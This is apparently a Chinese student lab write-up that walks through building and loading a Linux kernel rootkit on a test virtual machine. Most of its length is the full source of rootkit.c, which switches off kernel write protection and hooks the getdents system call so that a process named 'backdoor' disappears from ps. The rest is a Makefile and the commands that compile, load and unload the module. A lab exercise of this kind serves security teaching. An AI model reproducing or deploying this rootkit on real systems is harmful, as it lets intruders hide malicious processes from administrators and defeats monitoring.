不涉及原理,只讲操作。ubuntu版本很重要,不同版本相同代码可能无法运行。
攻击者A:ip:192.168.244.130 (ubuntu20.04)
被攻击者B:ip:192.168.244.131(ubunutu16.04)
网关C:ip:192.168.244.2
主要参考博客lab3
B代码文件2个
rootkit.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[1]; /* Filename (null-terminated) */
};
// 系统调用表
static unsigned long *sys_call_table;
// 纪录初始的orig_getdents
long (*orig_getdents)(unsigned int fd,struct linux_dirent __user *dirp,unsigned int count);
void disable_write_protection(void) {
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void enable_write_protection(void) {
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
//获取 PID 的长度
int get_pid_len(char *d_name) {
int len = 0;
char *p;
for (p = d_name+strlen(d_name)-1; p >= d_name; p--) {
if (*p >= '0' && *p <= '9')
len++;
else
return -1;
}
return len;
}
//判断当前<dirent>是否需要过滤
int need_filter(char *d_name) {
int isneed = 0, pidlen = 0;
struct file *fp;
mm_segment_t fs;
loff_t pos;
char *buf = NULL;
char *fpath = NULL;
char *proc = "/proc/";
char *status = "/status";
if ((pidlen = get_pid_len(d_name)) < 0)
goto out;
buf = (char *)kmalloc(64, GFP_KERNEL);
fpath = (char *)kmalloc(pidlen+14, GFP_KERNEL);
if (buf == NULL || fpath == NULL)
goto out;
// e.g: /proc/2842/status
memmove(fpath, (char *)proc, 6); // /proc/
memmove(fpath+6, (char *)d_name, pidlen); // /proc/2842
memmove(fpath+6+pidlen, (char *)status, 7); // /proc/2842/status
fpath[13+pidlen] = '\0';
printk("pid = %s, pidlen = %d\n", d_name, pidlen);
printk("fpath = %s\n", fpath);
fp = filp_open(fpath, O_RDONLY, 0000);
if (IS_ERR(fp)) {
printk("file open error, file path: %s\n", fpath);
goto out;
}
fs = get_fs();
set_fs(KERNEL_DS);
pos = 0;
vfs_read(fp, buf, 64, &pos);
if (strstr(buf, "backdoor") != NULL) {
isneed = 1;
printk("read: \n%s\n", buf); // Name: backdoor
}
filp_close(fp, NULL);
set_fs(fs); // 恢复fs
out:
kfree(buf);
kfree(fpath);
return isneed;
}
//系统调用劫持函数,劫持ps,过滤掉名为 backdoor 的进程
asmlinkage long hack_getdents(unsigned int fd,struct linux_dirent __user *dirp,unsigned int count) {
int number = 0, copylen = 0;
struct linux_dirent *filtered_dirp, // 指向已完成过滤的<dirent>
*orig_dirp, // 指向原始的<dirent>
*td1, *td2; // 用于遍历、连接的临时指针
if ((number = (*orig_getdents)(fd, dirp, count)) == 0)
return 0;
filtered_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL);
td1 = filtered_dirp;
orig_dirp = (struct linux_dirent *)kmalloc(number, GFP_KERNEL);
td2 = orig_dirp;
copy_from_user(orig_dirp, dirp, number);
while (number > 0) {
number -= td2->d_reclen;
// 链表尾插法,忽略掉要过滤的内容,将要保留的<dirent>一个个的插到链表td1尾部
if (!need_filter(td2->d_name)) {
memmove(td1, (char *)td2, td2->d_reclen);
td1 = (struct linux_dirent *)((char *)td1 + td2->d_reclen);
copylen += td2->d_reclen;
}
td2 = (struct linux_dirent *)((char *)td2 + td2->d_reclen);
}
copy_to_user(dirp, filtered_dirp, copylen);
kfree(orig_dirp);
kfree(filtered_dirp);
return copylen;
}
//获取 sys_call_table 的首地址
unsigned long *get_syscall_table_bf(void){
unsigned long *syscall_table;
#ifdef KPROBE_LOOKUP
printk("Defined KPROBE");
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
#endif
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
printk("syscall_table found,0x%lx\n",syscall_table);
return syscall_table;
}
static int filter_init(void) {
printk("fitler_init\n");
sys_call_table = get_syscall_table_bf();
if (!sys_call_table) {
printk("sys_call_table = NULL\n");
return 0;
}
printk("sys_call_table = %lx\n",sys_call_table);
orig_getdents = (void *)sys_call_table[__NR_getdents];
printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)&hack_getdents;
enable_write_protection();
printk("hacked system call getdents, the address is 0x%p\n", (unsigned long *)&hack_getdents);
printk("modify sct success! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
return 0;
}
static void filter_exit(void) {
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents;
enable_write_protection();
printk("original system call getdents, the address is 0x%p\n", (unsigned long *)orig_getdents);
printk("hack module removed! sys_call_table[__NR_getdents] address is 0x%p\n", (unsigned long *)sys_call_table[__NR_getdents]);
printk("fitler_exit\n");
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
Makefile
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
A代码文件1个
backdoor.c
void main(){
while(1){}
}
B执行sudo make -C /usr/src/linux-headers-4.15.0-112-generic M=~
(此处命令复杂参考报错汇总,根据自身情况变化,我当前在~目录下,所需要的代码文件也在该目录,所以M后面是~)
B上执行gcc backdoor.c -o backdoor编译backdoor.c程序
B后台运行backdoor
A用nc连接B后门程序(本实验不操作也行,要操作的话请全文参考上文博客(包括代码),本博客省略了这部分)
B执行ps
B载入内核模块rootkit.ko,然后执行ps
可以看到backdoor被隐藏起来了
B再移除内核模块rootkit,执行ps
backdoor又出现了,实验结束。